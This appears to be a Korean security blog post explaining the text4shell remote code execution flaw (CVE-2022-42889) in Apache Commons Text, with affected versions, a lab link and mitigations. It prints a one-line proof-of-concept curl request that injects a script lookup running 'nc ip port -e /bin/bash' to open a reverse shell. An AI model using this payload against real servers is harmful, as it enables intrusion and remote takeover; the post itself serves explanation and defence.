본문 바로가기
Hack/Web

[CVE-2022-42889] Apache Commons Text RCE (text4shell)

by Becoming a Hacker 2022. 10. 20.
반응형

개요

Apache Commons Text에서 발견된 취약점의 Exploit 난이도와 영향도만을 놓고본다면, Log4shell에 버금가는 취약점이라고 볼 수 있습니다.

 

해당 취약점은 Apache Commons Text Module에서 발생하며 RCE(Remote Controll Executuion)가 가능한 취약점입니다. 또한, CVE-2022-42889를 부여받았으며, text4shell 이라는 이름으로 명명되었습니다.

취약점 상세

취약 버전

1.10 버전 이하 (1.5 ~ 1.9)

 

text4shell 취약점은 Apache Commons Text의 StringSubstitutor를 사용할 때 발생합니다. StringSubstitutor Class는 문자열로 표현된 변수를 값으로 변환하는 역할을 합니다.

 

해당 Class 내 createInterpolator라는 Default Interpolator는 StringLookupFactory에서 지원하는 다양한 표준 형식을 사용할 수 있습니다.

기본 표준 형식 : ${prefix:name}

표준 형식 예제 : StringLookupFactory

 final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
 interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
 final String text = interpolator.replace("Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
     + "Base64 Encoder:        ${base64Encoder:HelloWorld!}\n"
     + "Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n"
     + "Date:                  ${date:yyyy-MM-dd}\n" + "DNS:                   ${dns:address|apache.org}\n"
     + "Environment Variable:  ${env:USERNAME}\n"
     + "File Content:          ${file:UTF-8:src/test/resources/document.properties}\n"
     + "Java:                  ${java:version}\n" + "Localhost:             ${localhost:canonical-name}\n"
     + "Properties File:       ${properties:src/test/resources/document.properties::mykey}\n"
     + "Resource Bundle:       ${resourceBundle:org.example.testResourceBundleLookup:mykey}\n"
     + "Script:                ${script:javascript:3 + 4}\n" + "System Property:       ${sys:user.dir}\n"
     + "URL Decoder:           ${urlDecoder:Hello%20World%21}\n"
     + "URL Encoder:           ${urlEncoder:Hello World!}\n"
     + "URL Content (HTTP):    ${url:UTF-8:http://www.apache.org}\n"
     + "URL Content (HTTPS):   ${url:UTF-8:https://www.apache.org}\n"
     + "URL Content (File):    ${url:UTF-8:file:///${sys:user.dir}/src/test/resources/document.properties}\n"
     + "XML XPath:             ${xml:src/test/resources/document.xml:/root/path/to/node}\n");

 

위의 예제 코드 중 interpolator.replace() Method 내 인자로 입력되는 문자열들이 replace Method의 작동 과정에서 실제 변수 값으로 변환됩니다. 그리고 변수 값으로 변환되는 과정에서 바로 취약점이 발생하고 있으며, 이를 통해 임의의 명령어를 실행시킬 수 있게 됩니다.

 

text4shell POC (RCE)

$ curl http://localhost/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('nc ip port -e /bin/bash')}

 

방금 설명드린 내용처럼 쉽게 Exploit이 가능하기 때문에 취약점의 위험도 자체는 높다고 볼 수 있지만, 다행히 Apache Commons Text Module이 비교적 많이 사용되고 있지 않아 Log4shell보다는 실제 피해 발생 가능성은 낮다고 볼 수 있습니다. 다만, 해당 모듈은 2,591개의 Project가 사용 중인 것으로 확인되었으며, 그 중에는 큰 규모의 Project들도 존재하고 있습니다.

Apache Commons Module 사용 현황

 

취약 서버의 경우 아래 github 내 Docker 파일을 이용하여 쉽게 구성할 수 있습니다.

 

GitHub - karthikuj/cve-2022-42889-text4shell-docker: Dockerized POC for CVE-2022-42889 Text4Shell

Dockerized POC for CVE-2022-42889 Text4Shell. Contribute to karthikuj/cve-2022-42889-text4shell-docker development by creating an account on GitHub.

github.com

대응 방안

  1. 취약점이 패치된 버전인 1.10 Version으로 업데이트
  2. StringSubstitutor의 createInterpolator 미사용
  3. 공격에 활용될 수 있는 문자열 치환

참고 문서

 

Text4Shell, a remote code execution bug in Apache Commons Text library

Researcher discovered a remote code execution vulnerability in the open-source Apache Commons Text library. GitHub’s threat analyst Alvaro Munoz discovered a remote code execution vulnerability, tracked as CVE-2022-42889, in the open-source Apache Comm

securityaffairs.co

 

CVE-2022-42889: Text4Shell, Critical Vulnerability in Apache Commons Text

The vulnerability CVE-2022-42889 affects Java products that make use of a specific functionality of the Apache Commons Text library

www.tarlogic.com

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

댓글